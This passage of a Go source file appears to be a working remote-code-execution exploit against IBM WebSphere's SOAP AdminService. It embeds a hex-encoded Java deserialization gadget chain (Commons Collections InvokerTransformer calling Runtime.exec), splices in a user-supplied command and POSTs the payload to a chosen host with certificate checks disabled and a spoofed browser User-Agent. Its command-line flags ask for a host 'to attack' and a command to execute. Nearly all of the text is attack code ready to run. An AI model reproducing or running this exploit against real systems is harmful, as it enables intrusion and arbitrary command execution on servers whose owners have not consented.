hex.DecodeString("ACED00057372003273756E2E7265666C6563742E616E6E6F746174696F6E2E416E6E6F746174696F6E496E766F636174696F6E48616E646C657255CAF50F15CB7EA50200024C000C6D656D62657256616C75657374000F4C6A6176612F7574696C2F4D61703B4C0004747970657400114C6A6176612F6C616E672F436C6173733B7870737D00000001000D6A6176612E7574696C2E4D6170787200176A6176612E6C616E672E7265666C6563742E50726F7879E127DA20CC1043CB0200014C0001687400254C6A6176612F6C616E672F7265666C6563742F496E766F636174696F6E48616E646C65723B78707371007E00007372002A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E6D61702E4C617A794D61706EE594829E7910940300014C0007666163746F727974002C4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436861696E65645472616E73666F726D657230C797EC287A97040200015B000D695472616E73666F726D65727374002D5B4C6F72672F6170616368652F636F6D6D6F6E732F636F6C6C656374696F6E732F5472616E73666F726D65723B78707572002D5B4C6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E5472616E73666F726D65723BBD562AF1D83418990200007870000000057372003B6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E436F6E7374616E745472616E73666F726D6572587690114102B1940200014C000969436F6E7374616E747400124C6A6176612F6C616E672F4F626A6563743B7870767200116A6176612E6C616E672E52756E74696D65000000000000000000000078707372003A6F72672E6170616368652E636F6D6D6F6E732E636F6C6C656374696F6E732E66756E63746F72732E496E766F6B65725472616E73666F726D657287E8FF6B7B7CCE380200035B000569417267737400135B4C6A6176612F6C616E672F4F626A6563743B4C000B694D6574686F644E616D657400124C6A6176612F6C616E672F537472696E673B5B000B69506172616D54797065737400125B4C6A6176612F6C616E672F436C6173733B7870757200135B4C6A6176612E6C616E672E4F626A6563743B90CE589F1073296C02000078700000000274000A67657452756E74696D65757200125B4C6A6176612E6C616E672E436C6173733BAB16D7AECBCD5A990200007870000000007400096765744D6574686F647571007E001E00000002767200106A6176612E6C616E672E537472696E67A0F0A4387A3BB34202000078707671007E001E7371007E00167571007E001B00000002707571007E001B00000000740006696E766F6B657571007E001E00000002767200106A6176612E6C616E672E4F626A656374000000000000000000000078707671007E001B7371007E0016757200135B4C6A6176612E6C616E672E537472696E673BADD256E7E91D7B470200007870000000017400") 30 | if err != nil { 31 | return 0, err 32 | } 33 | serializedObject = append(serializedObject, byte(len(cmd))) 34 | serializedObject = append(serializedObject, []byte(cmd)...) 35 | afterBuf, err := hex.DecodeString("740004657865637571007E001E0000000171007E00237371007E0011737200116A6176612E6C616E672E496E746567657212E2A0A4F781873802000149000576616C7565787200106A6176612E6C616E672E4E756D62657286AC951D0B94E08B020000787000000001737200116A6176612E7574696C2E486173684D61700507DAC1C31660D103000246000A6C6F6164466163746F724900097468726573686F6C6478703F40000000000010770800000010000000007878767200126A6176612E6C616E672E4F766572726964650000000000000000000000787071007E003A") 36 | if err != nil { 37 | return 0, err 38 | } 39 | serializedObject = append(serializedObject, afterBuf...) 40 | b64payload := base64.StdEncoding.EncodeToString(serializedObject) 41 | payload := fmt.Sprintf(body, b64payload) 42 | 43 | var client *http.Client 44 | var url string 45 | if ssl { 46 | client = &http.Client{ 47 | Transport: &http.Transport{ 48 | TLSClientConfig: &tls.Config{ 49 | InsecureSkipVerify: true, 50 | }, 51 | }, 52 | } 53 | url = fmt.Sprintf("https://%s/", host) 54 | } else { 55 | client = &http.Client{} 56 | url = fmt.Sprintf("http://%s/", host) 57 | } 58 | 59 | req, err := http.NewRequest("POST", url, bytes.NewReader([]byte(payload))) 60 | if err != nil { 61 | return 0, err 62 | } 63 | req.Header.Set("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko") 64 | req.Header.Set("Content-Type", "text/xml; charset=\"UTF-8\"") 65 | req.Header.Set("SOAPAction", "\"urn:AdminService\"") 66 | resp, err := client.Do(req) 67 | if err != nil { 68 | return 0, err 69 | } 70 | return resp.StatusCode, nil 71 | } 72 | 73 | func main() { 74 | var ( 75 | host = flag.String("host", "", "The host and port to attack, ex: 192.168.1.1:8080") 76 | isSSL = flag.Bool("ssl", false, "Use SSL") 77 | command = flag.String("cmd", "", "The command to be executed") 78 | ) 79 | flag.Parse() 80 | 81 | code, err := websphere(*host, *isSSL, *command) 82 | if err != nil { 83 | log.Fatal(err) 84 | } 85 | log.Printf("Got status code: %d", code) 86 | } 87 | --------------------------------------------------------------------------------